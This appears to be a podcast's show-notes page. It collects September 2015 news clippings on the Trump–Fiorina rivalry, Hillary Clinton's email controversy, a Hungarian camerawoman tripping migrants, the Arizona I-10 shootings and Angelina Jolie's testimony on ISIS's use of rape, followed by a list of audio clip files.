Fiorina has been at odds with Trump for some time. During the first GOP debate, Fiorina blasted Trump, noting that the billionaire had received a call from former President Bill Clinton before he announced his run for office. In the debate aftermath, Fiorina was also the first candidate to come to Fox News host Megyn Kelly's defense following Trump's ''blood'' comment.
Trump and Fiorina will likely face off on the main debate stage next week at the CNN debate.
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VIDEO-throwing shade-Ted Nugent Goes on Tirade Against Political Correctness After Verizon Drops Sportsman Channel |
Thu, 10 Sep 2015 13:35
Famed rocker Ted Nugent unloaded on the concept of political correctness Thursday during a discussion tied to Verizon's recent decision to drop the Sportsman Channel from its lineup.
Nugent, who hosts ''Spirit of the Wild'' on the Outdoors Channel, made the comments during an appearance on TheBlaze TV's ''Dana.''
''Political correctness is against hunting. Political correctness, the lie, the self-inflected scourge of political correctness. The dishonesty of political correctness is against everything you and I stand for: freedom, independence, rugged-individualism, self-sufficiency, hunting, fishing, trapping, taking advantage of God's annual harvest, '' Nugent told host Dana Loesch.
''We have been the number one show on Outdoor Channel all these years because we are down to Earth, we don't play games, we don't apologize,'' he continued. ''I like killing stuff to feed my family. It's pure organic free-range protein. It's so perfect I can hardly stand myself.''
Nugget then went after Verizon for dumping Sportsman Channel.
''And when Verizon drops Sportsman Channel, but keeps Al Jazeera '... Are you kidding me?'' he said.
Verizon told customers that it had dropped the channel in part because of low viewership. The company noted that ''similar content'' was available on other channels still carried by the carrier.
Follow the author of this story on Twitter and Facebook:
VIDEO-Refugee crisis: Hungarian camerawoman trips, kicks migrants -
Thu, 10 Sep 2015 13:28
Story highlightsThe camerawoman worked for Hungary's nationalist N1TV news stationHer behavior "was completely unacceptable," and she has been firedThe man, carrying all his belongings with him, falls on top of the boy as they tumble to the ground. He screams in disbelief.
Moments later, the same camerawoman kicks other migrants as they run, including a young girl in the leg.
The videographer, who worked for the Hungarian nationalist N1TV station, has been fired, Editor in Chief Szabolcs Kisberk said.
"The camera operator behavior was completely unacceptable," N1TV said in a statement.
The station did not identify the camerawoman, but thousands took to a Facebook "shame wall" to criticize her acts.
She was one of the videographers filming the flood of migrants trying to get through Hungary and into Austria and Germany. The migrants include many refugees trying to escape the carnage brought on by terrorists and war in their homelands.
After crossing from Serbia into Hungary with only the belongings they could carry, the migrants were stuck for days at a holding camp in southern Hungary. Many complained about uncomfortable or inhumane conditions in the camp.
Opinion: Why U.S. should do more in refugee crisis
After breaking through the holding camp's police line Tuesday, they scrambled across a field walked and hiked about 4 miles -- many dropping their possessions on the ground.
Two children from one family lost the shoes they were wearing. They walked over a train track and rocks barefoot for miles, hoping to reach a country more welcoming of refugees.
Hungary, a signatory to the 1951 Refugee Convention aimed at protecting refugees, has come under criticism for its handling of migrants and for erecting a razor-wire fence to stymie the flow.
But the Hungarian government has said it is just trying to enforce European Union rules on the movement of migrants without proper documentation.
Are countries obligated to take in refugees? In some cases, yes
CNN's Arwa Damon at the Hungarian-Serbian border and Brian Walker in Atlanta contributed to this report.
VIDEO-SONG: The Hillary Email Tango | MRCTV
Thu, 10 Sep 2015 06:43
Hillary Clinton just can't seem escape pesky questions about all of her missing emails. She's been dropping in the polls and many are speculating that the scandal could completely derail her presidential campaign.
Perhaps MRCTV's new song will cheer her up a bit.
Presenting the "Hillary Email Tango!" (Dancing encouraged.)
VIDEO-Pope Embracing Technology to Attract Followers - YouTube
Thu, 10 Sep 2015 06:34
VIDEO-Mitchell Touts Hillary's 'Reset' Working to Show Her 'Fun Side...Along with a Lighter Touch' | MRCTV
Thu, 10 Sep 2015 06:20
See more in the cross-post on the NewsBusters blog.
While ABC's World News Tonight aired on Tuesday David Muir's exclusive interview with Hillary Clinton, the CBS Evening News and NBC Nightly News soldiered on with full stories on the 2016 campaign boosting the Clinton camp's ''reset'' trying to promote the candidate's ''fun side...along with a lighter touch'' in an attempt ''to match the exuberance surrounding Bernie Sanders.''
NBC Nightly News anchor Lester Holt turned to Clinton correspondent and MSNBC host Andrea Mitchell after explaining that there was ''a shake-up in the campaign trail'' as ''Clinton issu[ed] a new apology about that e-mail controversy'' on the heels of reports her ''campaign is deploying a new strategy.''
VIDEO-Rep. Franks: 'The Only Time This Little Baby Was Ever Held '... Was by Those Who Cut His Face Open and Took His Brain' | MRCTV
Thu, 10 Sep 2015 06:03
During a House Judiciary Committee hearing on Planned Parenthood's abortion practices on Wednesday, Rep. Trent Franks (R-Ariz.) described how two Planned Parenthood employees recorded during an undercover video operation removed the brain of an unborn baby whose heart was still beating.
VIDEO-UK admits THEIR sub (not a Russian scapegoat) dragged a trawler backwards at sea - YouTube
Thu, 10 Sep 2015 05:47
VIDEO-Vagina in a courtroom - YouTube
Thu, 10 Sep 2015 05:26
VIDEO-Customers go nuts for butcher's squirrel pies - BBC News
Thu, 10 Sep 2015 03:46
A butcher with outlets in Stalybridge and Glossop thinks he could be cashing on the next big food fad......squirrel pies.
John Merrick says regulars have given a thumbs-up to the filling which uses grey squirrels that have been professionally culled in North Lancashire and Cumbria.
It follows a recent TV programme by chef Jamie Oliver which featured the unusual pie filling.
But not everyone fancies squirrel as an alternative to steak and ale or cheese and onion, as BBC North West Tonight reports.
VIDEO-Spanish Inquisition was 99% Myth. (BBC) - YouTube
Thu, 10 Sep 2015 03:30
VIDEO-I-10 Shootings Are Domestic 'Terrorism': Arizona State Police - NBC News
Thu, 10 Sep 2015 03:24
Authorities are treating a spate of shootings targeting cars and drivers along Interstate 10 in Arizona as "terrorism," state police said Tuesday after a ninth incident in 10 days.
A $20,000 reward is being offered for information leading to an arrest, Arizona Director of Public Safety Colonel Frank Milstead told reporters, hours after the passenger window of a car was shattered on Tuesday morning.
"Somebody will get hurt or somebody will get killed if this continues""Any time you have multiple shootings against American citizens on a highway, that's terrorism. They're trying to frighten or kill somebody," he said.
He confirmed officers were investigating nine crimes '-- five shootings and four other incidents involving some sort of projectile '-- but stopped short of saying that there was a serial shooter.
"Somebody will get hurt or somebody will get killed if this continues," Milstead said. "Right now there is a real and continuing threat to Arizona motorists."
Gov. Doug Ducey urged the public to "stay alert" and said the investigation was "the top priority for the Department of Public Safety and the state of Arizona."
An off-duty Phoenix police sergeant was driving to work along I-10 Tuesday morning when something hit the passenger side window and shattered it. The sergeant was not in uniform and it does not appear he was targeted, Milstead said.
In one of the first incidents, a 13-year-old girl in the passenger seat of an SUV suffered a cut to her right ear when the vehicle was fired at on August 29.
VIDEO-Fran§ois Hollande: "Bashar al-Assad is responsible for the situation in Syria" - YouTube
Wed, 09 Sep 2015 15:58
VIDEO-MSNBC Anchor Admits Why She Didn't Get to Ask Hillary Clinton All of the Email Questions She Wanted | Video |
Wed, 09 Sep 2015 15:45
MSNBC anchor Andrea Mitchell said she didn't get to ask Hillary Clinton all the email questions that she wanted to because she was afraid the Democratic candidate might cut the interview short.
Image source: YouTube
''We were told we had a 15-minute interview,'' Mitchell, who interviewed Clinton on Friday, told the ''Morning Joe'' panel on Friday. ''I asked more than 12 minutes on emails before I felt, out of concern that they would cut it off, obviously, that I had to move on.''
''I couldn't ask everything that I did want to ask,'' Mitchell added. ''But I think we did get a good chance to ask a lot of questions and discover that she did not have an answer for why she had the personal server in the first place.''
Mitchell went on to point out that there are ''a lot of reasons'' why Clinton may have done it, but that she ''hasn't answered it herself.''
In an interview that aired on MSNBC Friday, Mitchell asked Clinton, among other things, if she wanted to apologize for using a personal email server to conduct government business while secretary of state.
Clinton didn't apologize, but said that it wasn't the ''best choice.''
''At the end of the day, I am sorry that this has been confusing to people and has raised a lot of questions, but there are answers to all these questions,'' Clinton said. ''And I take responsibility and it wasn't the best choice.''
(H/T: The Hill)
Follow Jon Street (@JonStreet) on Twitter
VIDEO-Donald Trump and his ladies
Wed, 09 Sep 2015 14:36
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VIDEO-Angelina Jolie tells Parliament ISIS uses rape as 'centrepoint of their terror' | Daily Mail Online
Tue, 08 Sep 2015 18:42
Hollywood star tells peers that sexual violence is an 'effective weapon'Warns it is used by the the 'most aggressive terrorist group in the world'Called for a 'very, very strong response' to the fanatics in Iraq and SyriaAppearing at committee alongside former Foreign Secretary William Hague By Matt Chorley, Political Editor for MailOnline
Published: 10:14 EST, 8 September 2015 | Updated: 12:52 EST, 8 September 2015
Hollywood star Angelina Jolie today told the Houses of Parliament that ISIS is using rape as the 'centrepoint of their terror' as she warned of the destruction caused by sexual violence in conflict zones.
The actress and human rights activist spoke of the harrowing moment she met girls as young as seven who had been brutally raped in war zones.
Jolie, who is giving evidence to a Lords committee, said jihadist fanatics in the 'most aggressive terrorist group in the world' were using sex attacks as a 'very effective weapon'.
She said the use of rape by ISIS as a 'policy' was a new horror that the world had not seen before and urged a 'very, very strong response' to the terror group in Iraq and Syria.
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Hollywood star Angelina Jolie today told the Houses of Parliament of the harrowing moment she met girls as young as seven who had been brutally raped in war zones
The actress and human rights activist was giving evidence before a House of Lords committee
Jolie clamped her hands together as she warned of the destruction caused by sexual violence in conflict zones
As the extraordinary hearing got underway, it emerged that Jolie had given members of the committee copies of her film 'In the Land of Blood and Honey'.
Jolie, who is a long-standing campaigner on the issue, is appearing alongside former Foreign Secretary William Hague.
The pair hosted an 'End Sexual Violence in Conflict' summit in London in June last year which brought together diplomats, officials and non-profit representatives from more than 100 countries to press for the rights of victims of sexual violence '-- women, men and children alike.
The most aggressive terrorist group in the world today knows what we know, knows that it is a very effective weapon
Angelina Jolie
Speaking today, Jolie said she wanted to express her gratitude to the UK for its leadership on the issue.
And she said there was not a country in the world where the use of rape and sexual violence was a major issue.
The global star, who is married to actor Brad Pitt, told peers: 'I think the most important thing to understand is what it's not. It's not sexual, it is a violent brutal terrorising weapon.
'And unfortunately it is everywhere, in and out of conflict in every country basically. I can't think of one where there is not this issue.
'The most aggressive terrorist group in the world today knows what we know, knows that it is a very effective weapon and they are using it as a centrepoint of their terror and their way of destroying communities and families, and attacking and dehumanising.'
She said ISIS in Iraq and Syria dictates the use of rape as 'policy', adding: 'This is what is beyond something we have seen before. This is actually put into their policy.
'They are saying "we should do this, this is the right way to build a society, so we tell you to rape".'
'We really have to have a very, very strong response at this time to this particular group on this issue.'
The Hollywood actress expressed her gratitude to the UK for leading on the issue of sexual violence as a weapon
Jolie said the use of rape by ISIS as a 'policy' was a new horror that the world had not seen before and urged a 'very, very strong response' to the terror group in Iraq and Syria
Jolie is appearing alongside former Foreign Secretary William Hague (left) and his former special adviser Baroness Helic (centre)
Last year it emerged that ISIS had made made rape a central part of its religious doctrine - with members told the Koran 'condones and encourages' attacking women if they are not Muslims.
Rape of women and girls has become a huge part of the culture of ISIS - with warehouses for holding victims, viewing rooms for inspections and a fleet of buses for moving them around.
In a moving opening statement, she told peers: ''For over 10 years I had been visiting the field and meeting families and survivors of sexual violence who felt for so long that their voices simply didn't mater, they weren't heard and they carried a great shame.
I remember distinctly meeting this little girl who was very young, probably about seven or eight, and she was rocking backwards and forwards staring at the wall, and tears streaming down her face because she had been brutally raped multiple times, you couldn't talk to her, you couldn't touch her.
'I felt absolutely helpless, I didn't know what to do for her.'
Jolie with William Hague visiting the Nzolo refugee camp in the Democratic Republic of Congo. The pairs visit was to encourage world powers to do more to take sexual violence in war zones
Jolie, wearing a headscarf, pictured meeting a young Syrian refugee in the Bekaa Valley, Lebanon, back in 2012
The goodwill ambassador listening to the stories of refugees who had fled the violence in Libya. Pictured: At Lyster Barracks in Malta in 2011
The actress and activist meeting Burmese children during a visit to a refugee camp in Myitkyina, Myanmar
Jolie told how she felt 'helpless' after meeting a girl of seven or eight who had been brutally raped multiple times
The actress, who is married to Brad Pitt, branded sexual crimes in conflict zones as a 'violent brutal terrorising weapon'
It emerged that Jolie gave members of the committee copies of her film 'In the Land of Blood and Honey'.
The Hollywood star, pictured arriving at the Houses of Parliament, said sexual violence was being used as a 'very effective weapon' by terror groups around the world
Jolie went on: 'More recently I met a 13-year-old girl in Iraq who had been kept in a room with many other girls and they were taken out in twos to this very dirty room and dirty couch and raped repeatedly.
'But they told that what was even worse than the physical violence was they then had to stand in rows and watch their friends be sold and to hear men arguing about what they were worth.
'Whether they were $40, $50. What was the price of them, what was their value and how humiliating that was. It made her question what she was worth.'
Jolie said it meant a 'great deal' to her that she had been able to stand alongside Mr Hague when he addressed young girls in Conga about their traumatic experiences and to 'express his opinion that they should have no shame, that it's not their fault, that the shame should be on the perpetrators and that he would do what he could'.
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September 3, 2015'--''It's very difficult to respond in a serious way to any statement that's made by Donald Trump,'' Edward Snowden said in response to Donald Trump's allusion to executing him and calling him a ''total traitor.''
Snowden made the remarks during an Al Jazeera interview, which included Daniel Ellsberg, scheduled to air on Friday.
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Regarding Hillary Clinton's email scandal, Snowden declined to say whether or not Clinton endangered national security, but did go on to say, ''When the unclassified systems of the US government, which has a full-time information security staff, regularly get hacked, the idea that someone keeping a private server in the renovated bathroom of a server farm in Colorado is more secure is completely ridiculous.''
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RELATED:Snowden Or Bust: From HBO to Revolutionary War MemorialSnowden to Canada: ''Liberty is Worth the Risk''Snowden Calls For Civil Disobedience

Clips & Documents

Agenda 2030
Drone Nation
CNN provides drone killing update!-CIA vs PENTAGON-McCain.mp3
Rep. Franks- ‘The Only Time This Little Baby Was Ever Held … Was by Those Who Cut His Face Open and Took His Brain’.mp3
UK admits THEIR sub (not a Russian scapegoat) dragged a trawler backwards at sea.mp3
Hillary 2016
Andrea Mitchell Touts Hillary’s ‘Reset’ Working to Show Her ‘Fun Side...Along with a Lighter Touch’.mp3
HRC's Email Apology On ABC News 9-8-15.mp3
JCD Clips
ABC Muir interview with Clinton and the lipstick.mp3
ABC muir intro to clinton interview.mp3
bill clinton on trump 1992 roger stone.mp3
cruz at event -- we are all going to die.mp3
cruz on EMP threat.mp3
idiot chef dan Barber INTRO vocal fry gay chef NYC.mp3
idiot NYC chef selling garbage.mp3
jerry Brown irked part one.mp3
jerry brown irked part two kicker.mp3
kansas jew hater story on News Hour.mp3
maher quoting guy on the radio.mp3
PBS newshour on Syria and russia not covered elsewhere.mp3
sarah palin at cruz event sqwarking.mp3
thomas sowell reiterates NA.mp3
AGENT OF CHANGE-ISIS is using rape as 'the centrepoint of their terror', Angelina Jolie tells Parliament.mp3
Former British Leader David Miliband Wants US to Take in 65,000 Refugees.mp3
Hungarian camerawoman(photographer!) trips refugees (migrants).mp3
Pope technology=new religion-TWITTER PR-glitch eotd.mp3
Shut Up Slave!
Vilsack- Encourage Young People to Eat Vegetables by Naming Them.mp3
UK Squirrel meme-Customers go nuts for butcher's squirrel pies.mp3
I-10 Shootings Are Domestic 'Terrorism'- Arizona State Police.mp3
Trump- ‘If I Win the Presidency I Guarantee’ Iran Will Return Four Americans – ‘Before I Ever Take Office’.mp3
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